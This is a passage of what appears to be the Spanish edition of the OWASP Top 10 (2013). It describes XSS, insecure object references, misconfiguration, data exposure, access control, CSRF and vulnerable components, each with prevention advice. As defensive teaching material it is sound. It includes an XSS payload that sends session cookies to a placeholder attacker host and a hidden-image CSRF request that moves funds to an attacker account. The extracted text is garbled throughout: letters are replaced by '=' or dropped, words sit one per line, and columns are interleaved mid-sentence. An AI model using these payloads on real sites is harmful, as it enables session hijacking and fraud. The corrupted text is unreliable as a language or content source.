ordenador pblico para acceder al si=o. En lugar de cerrar la sesin,
cierra la pestaa del navegador y se marcha. Un atacante u=liza el
mismo navegador al cabo de una hora, y ese navegador todava se
encuentra auten=cado.
OWASP Development Guide: Chapter on Authen=ca=on
Escenario #3: Un atacante interno o externo a la organizacin,
consigue acceder a la base de datos de contraseas del sistema. Las
contraseas de los usuarios no se encuentran cifradas, exponiendo
CWE Entry 384 on Session Fixa=on
OWASP Forgot Password Cheat Sheet
OWASP Session Management Cheat Sheet
OWASP Tes=ng Guide: Chapter on Authen=ca=on
Externas
CWE
Entry
287
on
Improper
Authen=ca=on
Secuencia de Comandos en SiCos
Cruzados (XSS)
A3
Agentes
de
Amenaza
Vectores
de
Ataque
Explotabilidad
PROMEDIO
Especco
de
la
Aplicacin
Considere
cualquier
persona
que
pueda
enviar
datos
no
conables
al
sistema,
incluyendo
usuarios
externos,
internos
y
administradores.
El atacante enva cadenas
de texto que son
secuencias de comandos
de ataque que explotan el
intrprete del navegador.
Casi cualquier fuente de
datos puede ser un vector
de ataque, incluyendo
fuentes internas tales
como datos de la base de
datos.
Debilidades
de
Seguridad
Prevalencia
MUY
DIFUNDIDA
Deteccin
FACIL
Impactos
Tcnicos
Impactos
al
negocio
Impacto
MODERADO
Especco
de
la
aplicacin
/
negocio
XSS es la falla de seguridad predominante en
aplicaciones web. Ocurren cuando una aplicacin,
en una pgina enviada a un navegador incluye
datos suministrados por un usuario sin ser
validados o codicados apropiadamente. Existen
tres =pos de fallas conocidas XSS: 1) Almacenadas,
2) Reejadas, y 3) basadas en DOM .
El
atacante
puede
ejecutar
secuencias
de
comandos
en
el
navegador
de
la
vc=ma
para
secuestrar
las
sesiones
de
usuario,
alterar
la
apariencia
del
si=o
web,
insertar
cdigo
La
mayora
de
las
fallas
XSS
son
detectadas
de
hos=l,
redirigir
usuarios,
forma
rela=vamente
fcil
a
travs
de
pruebas
o
por
secuestrar
el
navegador
medio
del
anlisis
del
cdigo.
de
la
vc=ma
u=lizando
malware,
etc.
Considere el valor para el
negocio del sistema
afectado y de los datos
que ste procesa.
Tambin considere el
impacto en el negocio la
exposicin pblica de la
vulnerabilidad.
Soy Vulnerable?
Cmo prevenirlo?
Es vulnerable si no asegura que todas las entradas de datos
ingresadas por los usuarios son codicadas adecuadamente; o si no
se verica en el momento de ingreso que los datos sean seguros
antes de ser incluidos en la pgina de salida. Sin la codicacin o
validacin debida, dicha entrada ser tratada como contenido ac=vo
en el navegador. De u=lizarse Ajax para actualizar dinmicamente la
pgina, u=liza una API de JavaScript segura ?. De u=lizar una API de
JavaScript insegura, se deben realizar la codicacin o validacin de
las entradas.
Prevenir XSS requiere mantener los datos no conables separados
del contenido ac=vo del navegador.
1.
La opcin preferida es codicar los datos no conables basados
en el contexto HTML (cuerpo, atributo, JavaScript, CSS, o URL)
donde sern ubicados. Para ms detalles sobre tcnicas de
codicacin, consulte la Hoja de trucos de OWASP para la
prevencin XSS.
2.
Tambin se recomienda la validacin de entradas posi=va o de
lista blanca, considerando que esta tcnica no es una defensa
completa ya que muchas aplicaciones requieren aceptar
caracteres especiales como parte de las entradas vlidas. Dicha
validacin debe, en la medida de lo posible, validar el largo, los
caracteres, el formato y reglas de negocio que debe cumplir el
dato antes de aceptarlo como entrada.
3.
Las
tecnologas
Web
2.0
como
Ajax,
hacen
que
XSS
sea
mucho
ms
di|cil
de
detectar
mediante
herramientas
automa=zadas.
Para contenido en formato enriquecido, considere u=lizar
bibliotecas de auto sani=zacin como An=Samy de OWASP o el
proyecto sani=zador de HTML en Java.
4.
Considere u=lizar pol=cas de seguridad de contenido (CSP)
para defender contra XSS la totalidad de su si=o.
Ejemplos de escenarios de Ataques
Referencias (en ingls)
La aplicacin u=liza datos no conables en la construccin del
siguiente cdigo HTML sin validarlos o codicarlos:
OWASP
Mediante el uso de herramientas automa=zadas se pueden
iden=car ciertas vulnerabilidades de XSS. Sin embargo, cada
aplicacin construye las pginas de salida de forma diferente y u=liza
dis=ntos intrpretes en el navegador como JavaScript, Ac=veX, Flash
o Silverlight, dicultando la deteccin autom=ca. Una cobertura
completa requiere adems de enfoques autom=cos, una
combinacin de tcnicas como la revisin manual de cdigo y de
pruebas de penetracin.
(String) page += "<input name='creditcard' type='TEXT
value='" + request.getParameter("CC") + "'>";
OWASP XSS Preven=on Cheat Sheet
OWASP DOM based XSS Preven=on Cheat Sheet
El atacante modica el parmetro CC en el navegador:
OWASP Cross-Site Scrip=ng Ar=cle
'><script>document.locaCon=
'hvp://www.avacker.com/cgi-bin/cookie.cgi?
foo='+document.cookie</script>'.
ESAPI Encoder API
Esto causa que el iden=cador de sesin de la vc=ma sea enviado al
si=o web del atacante, permi=endo al atacante secuestrar la sesin
actual del usuario.
Notar que los atacantes pueden tambin u=lizar XSS para anular
cualquier defensa CSRF que la aplicacin pueda u=lizar. Ver A8 para
informacin sobre CSRF.
ASVS: Requerimientos de codicacin de salidas (V6)
OWASP An=Samy: Biblioteca de sani=zacin
Tes=ng Guide: Primeros tres captulos sobre pruebas de la validacin
de datos
OWASP Guia de revisin de cdigo: Captulo sobre revisin de XSS
OWASP XSS Filter Evasion Cheat Sheet
Externas
CWE
Entry
79
on
Cross-Site
Scrip=ng
A4
Agentes
de
Amenaza
Referencia directa insegura a objetos
Vectores
de Ataque
Especco
de
la
Aplicacin
Considere
los
=pos
de
usuarios
en
su
sistema.
Existen
usuarios
que
tengan
nicamente
acceso
parcial
a
determinados
=pos
de
datos
del
sistema?
Explotabilidad
FCIL
Un
atacante,
como
usuario
autorizado
en
el
sistema,
simplemente
modica
el
valor
de
un
parmetro
que
se
reere
directamente
a
un
objeto
del
sistema
por
otro
objeto
para
el
que
el
usuario
no
se
encuentra
autorizado.
Se
concede
el
acceso?
Debilidades
de
Seguridad
Prevalencia
COMN
Deteccin
FCIL
Normalmente, las aplicaciones u=lizan el nombre o
clave actual de un objeto cuando se generan las
pginas web. Las aplicaciones no siempre verican
que el usuario =ene autorizacin sobre el obje=vo.
Esto resulta en una vulnerabilidad de referencia de
objetos directos inseguros. Los auditores pueden
manipular fcilmente los valores del parmetro
para detectar estas vulnerabilidades. Un anlisis de
cdigo muestra rpidamente si la autorizacin se
verica correctamente.
Impactos
Tcnicos
Impactos
al
negocio
Impacto
MODERADO
Especco
de
la
aplicacin/negocio
Dichas
vulnerabilidades
pueden
comprometer
toda
la
informacin
que
pueda
ser
referida
por
parmetros.
A
menos
que
el
espacio
de
nombres
resulte
escaso,
para
un
atacante
resulta
sencillo
acceder
a
todos
los
datos
disponibles
de
ese
=po.
Considere
el
valor
de
negocio
de
los
datos
afectados
o
las
funciones
de
la
aplicacin
expuestas.
Tambin
considere
el
impacto
en
el
negocio
de
la
exposicin
pblica
de
la
vulnerabilidad.
Soy Vulnerable?
Cmo prevenirlo?
La mejor manera de poder comprobar si una aplicacin es
vulnerable a referencias inseguras a objetos es vericar que todas
las referencias a objetos =enen las protecciones apropiadas. Para
conseguir esto, considerar:
Requiere seleccionar una forma de proteger los objetos accesibles
por cada usuario (iden=cadores de objeto, nombres de chero):
1.
Para referencias directas a recursos restringidos, la aplicacin
necesitara vericar si el usuario est autorizado a acceder al
recurso en concreto que solicita.
2.
Si la referencia es una referencia indirecta, la correspondencia
con la referencia directa debe ser limitada a valores autorizados
para el usuario en concreto.
Un anlisis del cdigo de la aplicacin servira para vericar
rpidamente si dichas propuestas se implementan con seguridad.
Tambin es efec=vo realizar comprobaciones para iden=car
referencias a objetos directos y si estos son seguros. Normalmente
las herramientas autom=cas no detectan este =po de
vulnerabilidades porque no son capaces de reconocer cules
necesitan proteccin o cules son seguros e inseguros.
Ejemplos de escenarios de ataques
La aplicacin u=liza datos no vericados en una llamada SQL que
accede a informacin sobre la cuenta:
String query = "SELECT * FROM accts WHERE account = ?";
PreparedStatement pstmt =
connecCon.prepareStatement(query , );
pstmt.setString( 1, request.getparameter("acct"));
ResultSet results = pstmt.executeQuery( );
Si el atacante modica el parmetro acct en su navegador para
enviar cualquier nmero de cuenta que quiera. Si esta accin no es
verica, el atacante podra acceder a cualquier cuenta de usuario, en
vez de a su cuenta de cliente correspondiente.
hvp://example.com/app/accountInfo?acct=notmyacct
1.
UClizar referencias indirectas por usuario o sesin. Esto
evitara que los atacantes accedieren directamente a recursos
no autorizados. Por ejemplo, en vez de u=lizar la clave del
recurso de base de datos, se podra u=lizar una lista de 6
recursos que u=lizase los nmeros del 1 al 6 para indicar cul es
el valor elegido por el usuario. La aplicacin tendra que realizar
la correlacin entre la referencia indirecta con la clave de la
base de datos correspondiente en el servidor. ESAPI de OWASP
incluye relaciones tanto secuenciales como aleatorias de
referencias de acceso que los desarrolladores pueden u=lizar
para eliminar las referencias directas a objetos.
2.
Comprobar el acceso. Cada uso de una referencia directa a un
objeto de una fuente que no es de conanza debe incluir una
comprobacin de control de acceso para asegurar que el
usuario est autorizado a acceder al objeto solicitado.
Referencias (en ingls)
OWASP
OWASP Top 10-2013 on Insecure Dir Object References
ESAPI Access Reference Map API
ESAPI Access Control API (Ver isAuthorizedForData(),
isAuthorizedForFile(), isAuthorizedForFuncCon() )
Para requisitos adiciones en controles de acceso, consultar la s
eccin de requisitos sobre Control de Acceso de ASVS (V4).
Externas
CWE
Entry
639
on
Insecure
Direct
Object
References
CWE
Entry
22
on
Path
Traversal
(que
es
un
ejemplo
de
ataque
de
referencia
a
un
objeto
directo)
Conguracin
de
Seguridad
Incorrecta
A5
Vectores
de
Ataque
Agentes
de
Amenaza
Especco
de
la
Aplicacin
Explotabilidad
FCIL
Considere
atacantes
annimos
externos
as
como
usuarios
con
sus
propias
cuentas
que
pueden
intentar
comprometer
el
sistema.
Tambin
considere
personal
interno
buscando
enmascarar
sus
acciones.
Un
atacante
accede
a
cuentas
por
defecto,
pginas
sin
uso,
fallas
sin
parchear,
archivos
y
directorios
sin
proteccin,
etc.
para
obtener
acceso
no
autorizado
o
conocimiento
del
sistema.
Debilidades
de
Seguridad
Prevalencia
COMN
Deteccin
FCIL
Las conguraciones de seguridad incorrectas
pueden ocurrir a cualquier nivel de la aplicacin,
incluyendo la plataforma, servidor web, servidor
de aplicacin, base de datos, framework, y cdigo
personalizado. Los desarrolladores y
administradores de sistema necesitan trabajar
juntos para asegurar que las dis=ntas capas estn
conguradas apropiadamente. Las herramientas
de detaccin automa=zadas son =les para
detectar parches omi=dos, fallos de conguracin,
uso de cuentas por defecto, servicios innecesarios,
etc.
Impactos
Tcnicos
Impactos
al
negocio
Impacto
MODERADO
Especco
de
la
aplicacin
/
negocio
Estas
vulnerabilidades
frecuentemente
dan
a
los
atacantes
acceso
no
autorizado
a
algunas
funcionalidades
o
datos
del
sistema.
Ocasionalmente
provocan
que
el
sistema
se
comprometa
totalmente.
El sistema podra ser
completamente
comprome=do sin su
conocimiento. Todos sus
datos podran ser
robados o modicados
lentamente en el =empo.
Los costes de
recuperacin podran ser
altos.
Soy vulnerable?
Cmo prevenirlo?
Cuenta su aplicacin con el apropiado fortalecimiento en seguridad
a travs de todas las capas que la componen? Incluyendo:
Las recomendaciones primarias son el establecimiento de todo lo
siguiente:
1. Tiene algn soNware sin actualizar? Esto incluye el SO, Servidor
Web/Aplicacin, DBMS, aplicaciones, y todas las libreras de
cdigo (ver nuevo A9).
1.
Un proceso rpido, fcil y repe=ble de fortalecimiento para
obtener un entorno apropiadamente asegurado. Los entornos
de Desarrollo, QA y Produccin deben ser congurados
idn=camente (con diferentes contraseas usadas en cada
entorno). Este proceso puede ser autom=co para minimizar el
esfuerzo de congurar un nuevo entorno seguro.
2.
Un proceso para mantener y desplegar las nuevas
actualizaciones y parches de soNware de una manera oportuna
para cada entorno. Debe incluir tambin todas las libreras de
cdigo (ver nuevo A9).
3.
Una fuerte arquitectura de aplicacin que proporcione una
separacin segura y efec=va entre los componentes.
4.
Considere ejecutar escaneos y realizar auditoras
peridicamente para ayudar a detectar fallos de conguracin
o parches omi=dos.
2. Estn habilitadas o instaladas alguna caracters=ca innecesaria
(p. ej. puertos, servicios, pginas, cuentas, privilegios)?
3. Estn las cuentas por defecto y sus contraseas an habilitadas
y sin cambiar?
4. Su manejo de errores revela rastros de las capas de aplicacin
u otros mensajes de error demasiado informa=vos a los
usuarios?
5. Estn las conguraciones de seguridad en su framework de
desarrollo (p. ej. Struts, Spring, ASP.NET) y libreras sin
congurar a valores seguros?
Sin un proceso repe=ble y concertado de conguracin de seguridad
para las aplicaciones , los sistemas estn en alto riesgo.
Ejemplos de escenarios de Ataque
Referencias (en ingls)
Escenario #1: La consola de administrador del servidor de
aplicaciones se instal autom=camente y no se ha eliminado. Las
cuentas por defecto no se han modicado. Un atacante descubre las
pginas por defecto de administracin que estn en su servidor, se
conecta con las contraseas por defecto y lo toma.
OWASP
Escenario #2: El listado de directorios no se encuentra deshabilitado
en su servidor. El atacante descubre que puede simplemente listar
directorios para encontrar cualquier archivo. El atacante encuentra y
descarga todas sus clases compiladas de Java, las cuales decompila y
realiza ingeniera inversa para obtener todo su cdigo fuente.
Encuentra un fallo serio de control de acceso en su aplicacin.
Escenario #3: La conguracin del servidor de aplicaciones permite
que se retornen la pila de llamada a los usuarios, exponindose
potencialmente a fallos subyacentes. A los atacantes les encanta que
les proporcionen informacin extra con los mensajes de errores.
Escenario #4: El servidor de aplicaciones viene con aplicaciones de
ejemplo que no se eliminaron del servidor de produccin. Las
aplicaciones de ejemplo pueden poseer fallos de seguridad bien
conocidos que los atacantes pueden u=lizar para comprometer su
servidor.
OWASP Development Guide: Chapter on Congura=on
OWASP Code Review Guide: Chapter on Error Handling
OWASP Tes=ng Guide: Congura=on Management
OWASP Tes=ng Guide: Tes=ng for Error Codes
OWASP Top 10 2004 - Insecure Congura=on Management
Para requerimientos adicionales en este rea, ver
ASVS requirements area for Security Congura=on (V12).
Externos
PC
Magazine
Ar=cle
on
Web
Server
Hardening
CWE
Entry
2
on
Environmental
Security
Flaws
CIS
Security
Congura=on
Guides/Benchmarks
A6
Agentes
de
Amenaza
Exposicin de datos sensibles
Vectores
de Ataque
Especco
de
la
Aplicacin
Explotabilidad
DIFCIL
Considere quin puede
obtener acceso a sus
datos sensibles y
cualquier respaldo de
stos. Esto incluye los
datos almacenados, en
trnsito, e inclusive en el
navegador del cliente.
Incluye tanto amenazas
internas y externas.
Los atacantes picamente
no quiebran la criptogra|a
de forma directa, sino algo
ms como robar claves,
realizar ataques man in
the middle, robar datos
en texto claro del servidor,
mientras se encuentran en
trnsito, o del navegador
del usuario.
Debilidades
de
Seguridad
Prevalencia
NO
COMN
Impactos
al
negocio
Impacto
SEVERO
Especco
de
la
Aplicacin/Negocio
Los
fallos
frecuentemente
comprometen
todos
los
datos
que
deberan
estar
protegidos.
Tpicamente,
esta
informacin
incluye
datos
sensibles
como
ser
registros
mdicos,
credenciales,
datos
personales,
tarjetas
de
crdito,
etc.
Considere
el
valor
de
negocio
de
la
prdida
de
datos
y
el
impacto
a
su
reputacin.
Cul
su
responsabilidad
legal
si
estos
datos
son
expuestos?
Tambin
considere
el
dao
a
la
reputacin.
Deteccin
PROMEDIO
La debilidad ms comn es simplemente no cifrar
datos sensibles. Cuando se emplea cifrado, es
comn detectar generacin y ges=n dbiles de
claves, el uso de algoritmos dbiles, y
par=cularmente tcnicas dbiles de hashing de
contraseas. Las debilidades a nivel del navegador
son muy comunes y fciles de detectar, pero
di|ciles de explotar a gran escala. Atacantes
externos encuentran dicultades detectando
debilidades en a nivel de servidor dado el acceso
limitado y que son usualmente di|ciles de explotar.
Soy Vulnerable?
Impactos
Tcnicos
Cmo prevenirlo?
Y
ms
...
Por
un
conjunto
completo
de
problemas
a
evitar,
ver
ASVS
areas
Crypto
(V7),
Data
Prot.
(V9),
and
SSL
(V10).
Los riesgos completos de u=lizar cifrado de forma no segura, uso de
SSL, y proteccin de datos escapan al alcance del Top 10. Dicho esto,
para los datos sensibles, se deben realizar como mnimo lo siguiente:
1. Considere las amenazas de las cules proteger los datos (ej:
atacante interno, usuario externo), asegrese de cifrar los datos
sensibles almacenados o en trco de manera de defenderse
de estas amenazas.
2. No almacene datos sensibles innecesariamente. Descrtelos
apenas sea posible. Datos que no se poseen no pueden ser
robados.
3. Asegrese de aplicar algoritmos de cifrado fuertes y estndar
as como claves fuertes y ges=nelas de forms segura.
Considere u=lizar mdulos criptogrcos validados como
FIPS 140
4. Asegrese que las claves se almacenan con un algoritmo
especialmente diseado para protegerlas como ser bcrypt,
PBKDF2 o scrypt.
5. Deshabilite el autocompletar en los formularios que recolectan
datos sensibles. Deshabilite tambin el cacheado de pginas
que contengan datos sensibles.
Ejemplos de escenarios de Ataques
Referencias en ingls)
Lo primero que debe determinar es el conjunto de datos sensibles
que requerirn proteccin extra. Por ejemplo, contraseas, nmeros
de tarjetas de crdito, registros mdicos, e informacin personal
deberan protegerse. Para estos datos:
1. Se almacenan en texto claro a largo plazo, incluyendo sus
respaldos?
2. Se transmite en texto claro, interna o externamente? El trco
por Internet es especialmente peligroso.
3. Se u=liza algn algoritmo criptogrco dbil/an=go?
4. Se generan claves criptogrcas dbiles, o falta una adecuada
rotacin o ges=n de claves?
5. Se u=lizan tanto cabezales como direc=vas de seguridad del
navegador cuando son enviados o provistos por el mismo?
Escenario #1: Una aplicacin cifra los nmeros de tarjetas de crdito
en una base de datos u=lizando cifrado autom=co de la base de
datos. Esto signica que tambin se descifra estos datos
autom=camente cuando se recuperan, permi=endo por medio de
una debilidad de inyeccin de SQL recuperar nmeros de tarjetas en
texto claro. El sistema debera cifrar dichos nmero usando una
clave pblica, y permi=r solamente a las aplicaciones de back-end
descifrarlo con la clave privada.
OWASP
Escenario #2: Un si=o simplemente no u=liza SSL para todas sus
pginas que requieren auten=cacin. El atacante monitorea el
trco en la red (como ser una red inalmbrica abierta), y ob=ene la
cookie de sesin del usuario. El atacante reenva la cookie y
secuestra la sesin, accediendo los datos privados del usuario.
OWASP Transport Layer Protec=on Cheat Sheet
Escenario
#3:
La
base
de
datos
de
claves
usa
hashes
sin
salt
para
almacenar
las
claves.
Una
falla
en
una
subida
de
archivo
permite
a
un
atacante
obtener
el
archivo
de
claves.
Todas
las
claves
pueden
ser
expuestas
mediante
una
tabla
rainbow
de
hashes
precalculados.
Para un conjunto completo de requerimientos, ver
ASVS reqs on Cryptography (V7), Data ProtecCon (V9) y
CommunicaCons Security (V10)
OWASP Cryptographic Storage Cheat Sheet
OWASP Password Storage Cheat Sheet
OWASP Tes=ng Guide: Chapter on SSL/TLS Tes=ng
Externas
CWE
Entry
310
on
Cryptographic
Issues
CWE
Entry
312
on
Cleartext
Storage
of
Sensi=ve
Informa=on
CWE
Entry
319
on
Cleartext
Transmission
of
Sensi=ve
Informa=on
CWE
Entry
326
on
Weak
Encryp=on
Inexistente Control de Acceso
a nivel de funcionalidades
A7
Vectores
de
Ataque
Agentes
de
Amenaza
Especco
de
la
Aplicacin
Explotabilidad
FCIL
Cualquiera con acceso a
la red puede enviar una
pe=cin a su aplicacin.
Un usuario annimo
podra acceder a una
funcionalidad privada o
un usuario normal
acceder a una funcin
que requiere privilegios?
El
atacante,
que
es
un
usuario
leg=mo
en
el
sistema,
simplemente
cambia
la
URL
o
un
parmetro
a
una
funcin
con
privilegios.
Se
le
concede
acceso?
Usuarios
annimos
podran
acceder
a
funcionalidades
privadas
que
no
estn
protegidas.
Debilidades
de
Seguridad
Prevalencia
COMN
Deteccin
PROMEDIO
Las aplicaciones no siempre protegen las
funcionalidades adecuadamente. En ocasiones la
proteccin a nivel de funcionalidad se administra
por medio de una conguracin, y el sistema est
mal congurado. Otras veces los programadores
deben incluir un adecuado chequeo por cdigo, y
se olvidan.
La deteccin de este =po de vulnerailidad es
sencillo. La parte ms compleja es iden=car qu
pginas (URLs) o funcionalidades atacables existen.
Soy vulnerable?
La mejor manera de determinar si una aplicacin falla en restringir
adecuadamente el acceso a nivel de funcionalidades es vericar
cada funcionalidad de la aplicacin:
1. La interfaz de usuario (UI) muestra la navegacin hacia
funcionalidades no autorizadas?
2. Existe auten=cacin del lado del servidor, o se han perdido las
comprobaciones de autorizacin?
3. Los controles del lado del servidor se basan exclusivamente
en la informacin proporcionada por el atacante?
Usando un proxy, navegue su aplicacin con un rol privilegiado.
Luego visite reiteradamente pginas restringidas usando un rol con
menos privilegios. Si el servidor responde a ambos por igual,
probablemente es vulnerable. Algunas pruebas de proxies apoyan
directamente este =po de anlisis.
Tambin puede revisar la implementacin del control de acceso en
el cdigo. Intente seguir una solicitud unitaria y con privilegios a
travs del cdigo y verique el patrn de autorizacin. Luego busque
en el cdigo para detectar donde no se est siguiendo ese patrn .
Las herramientas automa=zadas no suelen encontrar estos
problemas.
Ejemplos de Escenarios de Ataque
Impactos
Tcnicos
Impactos
al
negocio
Impacto
MODERADO
Especco
de
la
aplicacin/negocio
Estas
vulnerabilidades
permiten
el
acceso
no
autorizado
de
los
atacantes
a
funciones
del
sistema.
Considere el valor para
su negocio de las
funciones expuestas y los
datos que stas
procesan. Adems,
considere el impacto a su
reputacin si esta
vulnerabilidad se hiciera
pblica.
Las
funciones
administra=vas
son
un
obje=vo
clave
de
este
=po
de
ataques.
Cmo prevenirlo?
La aplicacin debera tener un mdulo de autorizacin consistente y
fcil de analizar, invocado desde todas las funciones de negocio.
Frecuentemente, esa proteccin es provista por uno o ms
componentes externos al cdigo de la aplicacin.
1.
El proceso para ges=n de accesos y permisos debera ser
actualizable y auditable fcilmente. No lo implemente
directamente en el cdigo sin u=lizar parametrizaciones.
2.
La implementacin del mecanismo debera negar todo acceso
por defecto, requiriendo el establecimiento explcito de
permisos a roles especcos para acceder a cada funcionalidad.
3.
Si la funcionalidad forma parte de un workow, verique y
asegese que las condiciones del ujo se encuentren en el
estado apropiado para permi=r el acceso.
NOTA: La mayora de las aplicaciones web no despliegan links o
botones para funciones no autorizadas, pero en la prc=ca el
control de acceso de la capa de presentacin no provee
proteccin. Ud. debera implementar chequeos en los controladores
y/o lgicas de negocios.
Referencias (en ingls)
Escenario #1: El atacante simplemente fuerza la navegacin hacia las
URLs obje=vo. La siguiente URLs requiere auten=cacin. Los
derechos de administrador tambin son requeridos para el acceso a
la pgina admin_getappInfo.
OWASP
hvp://example.com/app/getappInfo
OWASP Development Guide: Chapter on Authoriza=on
hvp://example.com/app/admin_getappInfo
OWASP Tes=ng Guide: Tes=ng for Path Traversal
Si un usuario no auten=cado puede acceder a ambas pginas, eso es
una vulnerabilidad. Si un usuario auten=cado, no administrador,
puede acceder a admin_getappInfo, tambin es una
vulnerabilidad, y podra llevar al atacante a ms pginas de
administracin protegidas inadecuadamente.
OWASP Ar=cle on Forced Browsing
Externos
Escenario #2: Una pgina proporciona un parmetro de accin
para especicar la funcin que ha sido invocada, y diferentes
acciones requieren diferentes roles. Si estos roles no se verican al
invocar la accin, es una vulnerabilidad.
OWASP Top 10-2007 on Failure to Restrict URL Access
ESAPI Access Control API
Para requerimientos de control de acceso adicionales, ver
ASVS requirements area for Access Control (V4).
CWE Entry 285 on Improper Access Control (Authoriza=on)
Falsicacin de PeCciones en SiCos
Cruzados (CSRF)
A8
Vectores
de
Ataque
Agentes
de
Amenaza
Especco
de
la
Aplicacin
Explotabilidad
PROMEDIO
Considere
cualquier
persona
que
pueda
cargar
contenido
en
los
navegadores
de
los
usuarios,
y
as
obligarlos
a
presentar
una
solicitud
para
su
si=o
web.
Cualquier
si=o
web
o
canal
HTML
que
el
usuario
acceda
puede
realizar
este
=po
de
ataque.
El atacante crea pe=ciones
HTTP falsicadas y engaa
a la vic=ma mediante el
envo de e=quetas de
imgenes, XSS u otras
tcnicas. Si el usuario est
auten=cado, el ataque
=ene xito.
Impactos
Tcnicos
Impactos
al
negocio
Impacto
MODERADO
Especco
de
la
aplicacin/negocio
Los atacantes pueden
cambiar cualquier dato
que la vc=ma est
autorizada a cambiar, o a
acceder a cualquier
funcionalidad donde est
autorizada, incluyendo
registro, cambios de
estado o cierre de sesin.
Considerar
el
valor
de
negocio
asociado
a
los
datos
o
funciones
afectados.
Tener
en
cuenta
lo
que
representa
no
estar
seguro
si
los
usuarios
en
realidad
desean
realizar
dichas
acciones.
Considerar
el
impacto
que
=ene
en
la
reputacin
de
su
negocio.
Debilidades
de
Seguridad
Prevalencia
COMN
Deteccin
FCIL
CSRF aprovecha el hecho que la mayora de las
aplicaciones web permiten a los atacantes predecir
todos los detalles de una accin en par=cular.
Dado que los navegadores envan credenciales
como cookies de sesin de forma autom=ca, los
atacantes pueden crear pginas web maliciosas
que generan pe=ciones falsicadas que son
indis=nguibles de las leg=mas. La deteccin de
fallos de =po CSRF es bastante fcil a travs de
pruebas de penetracin o de anlisis de cdigo.
Soy vulnerable?
Para conocer si una aplicacin es vulnerable, verique la ausencia de
un token impredecible en cada enlace y formulario. En dicho caso,
un atacante puede falsicar pe=ciones maliciosas. Una defensa
alterna=va puede ser la de requerir que el usuario demuestre su
intencin de enviar la solicitud, ya sea a travs de la re-
auten=cacin, o mediante cualquier otra prueba que demuestre que
se trata de un usuario real (por ejemplo, un CAPTCHA).
Cntrese en los enlaces y formularios que invoquen funciones que
permitan cambios de estados, ya que stos son los obje=vos ms
importantes del CSRF.
Deben vericarse las operaciones de ml=ples pasos, ya que no son
inmunes a este =po de ataque. Los atacantes pueden falsicar
fcilmente una serie de solicitudes mediante el uso de e=quetas o
incluso de cdigo Javascript.
Tenga en cuenta que las cookies de sesin, direcciones IP de origen,
as como otra informacin enviada autom=camente por el
navegador no proveen ninguna defensa ya que esta informacin
tambin se incluye en las solicitudes de falsicadas.
La herramienta de pruebas CSRF (CSRF Tester) de OWASP puede
ayudar a generar casos de prueba que ayuden a demostrar los daos
y peligros de los fallos de =po CSRF.
Cmo
prevenirlo?
La
prevencin
CSRF
por
lo
general
requiere
la
inclusin
de
un
token
no
predecible
en
cada
solicitud
HTTP.
Estos
tokens
deben
ser,
como
mnimo,
nicos
por
cada
sesin
del
usuario.
1.
La opcin preferida es incluir el token nico en un campo
oculto. Esto hace que el valor de dicho campo se enve en el
cuerpo de la solicitud HTTP, evitando su inclusin en la URL,
sujeta a mayor exposicin.
2.
El token nico tambin puede ser incluido en la propia URL, o
un parmetro de la misma. Sin embargo, esta prc=ca presenta
el riesgo e inconveniente de que la URL sea expuesta a un
atacante, y por lo tanto, pueda comprometer el token secreto.
CSRF Guard de OWASP puede incluir autom=camente los tokens
secretos en Java EE,. NET, aplicaciones PHP. Por otro lado, ESAPI de
OWASP incluye tambin mtodos para que los desarrolladores
puedan u=lizar con tal evitar este =po de vulnerabilidades.
3.
Requiera que el usuario vuelva a auten=carse, o pruebas que se
trata de un usuario legi=mo (por ejemplo mediante el uso de
CAPTCHA) pueden tambin proteger frente ataques de =po
CSRF.
Ejemplos de Escenarios de Ataque
Referencias
La aplicacin permite al usuario enviar una pe=cin de cambio de
estado no incluya nada secreto. Por ejemplo:
OWASP
hvp://example.com/app/transferFunds?
amount=1500&desCnaConAccount=4673243243
OWASP CSRF Ar=cle
OWASP CSRF Preven=on Cheat Sheet
De esta forma, el atacante construye una pe=cin que transferir el
dinero de la cuenta de la vc=ma hacia su cuenta. Seguidamente, el
atacante inserta su ataque en una e=queta de imagen o iframe
almacenado en varios si=os controlados por l de la siguiente forma:
OWASP CSRFGuard - CSRF Defense Tool
<img
src="hvp://example.com/app/transferFunds?
amount=1500&desCnaConAccount=avackersAcct#
width="0"
height="0"
/>
OWASP Tes=ng Guide: Chapter on CSRF Tes=ng
Si la vc=ma visita alguno de los si=os controlados por el atacante,
estando ya auten=cado en example.com, estas pe=ciones
falsicadas incluirn autom=camente la informacin de la sesin
del usuario, autorizando la pe=cin del atacante.
ESAPI Project Home Page
ESAPI HTTPU=li=es Class with An=CSRF Tokens
OWASP CSRFTester - CSRF Tes=ng Tool
Externos
CWE
Entry
352
on
CSRF
Uso de Componentes con
Vulnerabilidades Conocidas
A9
Agentes
de
Amenaza
Vectores
de
Ataque
Especco
de
la
Aplicacin
Explotabilidad
PROMEDIO
Algunos
componentes
vulnerables
(por
ejemplo
frameworks)
pueden
ser
iden=cados
y
explotados
con
herramientas
automa=zadas,
aumentando
las
opciones
de
la
amenaza
ms
all
del
obje=vo
atacado.
El
atacante
iden=ca
un
componente
dbil
a
travs
de
escaneos
autom=cos
o
anlisis
manuales.
Ajusta
el
exploit
como
lo
necesita
y
ejecuta
el
ataque.
Se
hace
ms
di|cil
si
el
componente
es
ampliamente
u=lizado
en
la
aplicacin.
Debilidades
de
Seguridad
Prevalencia
DIFUNDIDO
Detectabilidad
DIFCIL
Virtualmente cualquier aplicacin =ene este =po
de problema debido a que la mayora de los
equipos de desarrollo no se enfocan en asegurar
que sus componentes / bibiliotecas se encuentren
actualizadas. En muchos casos, los desarrolladores
no conocen todos los componentes que u=lizan, y
menos sus versiones. Dependencias entre
componentes dicultan incluso ms el problema.
Impactos
Tcnicos
Impactos
al
negocio
Impacto
MODERADO
Especco
de
la
aplicacin
/
negocio
El
rango
completo
de
debilidades
incluye
inyeccin,
control
de
acceso
roto,
XSS,
etc.
El
impacto
puede
ser
desde
mnimo
hasta
apoderamiento
completo
del
equipo
y
compromiso
de
los
datos.
Considere
qu
puede
signicar
cada
vulnerabilidad
para
el
negocio
controlado
por
la
aplicacin
afectada.
Puede
ser
trivial
o
puede
signicar
compromiso
completo.
Soy Vulnerable?
Cmo prevenirlo?
En teora, debiera ser fcil dis=nguir si estas usando un componente
o biblioteca vulnerable. Desafortunadamente, los reportes de
vulnerabilidades para soNware comercial o de cdigo abierto no
siempre especica exactamente que versin de un componente es
vulnerable en un estndar, de forma accesible. Ms an, no todas las
bibliotecas usan un sistema numrico de versiones entendible. Y lo
peor de todo, no todas las vulnerabilidades son reportadas a un
centro de intercambio fcil de buscar, Si=os como CVE y NVD se
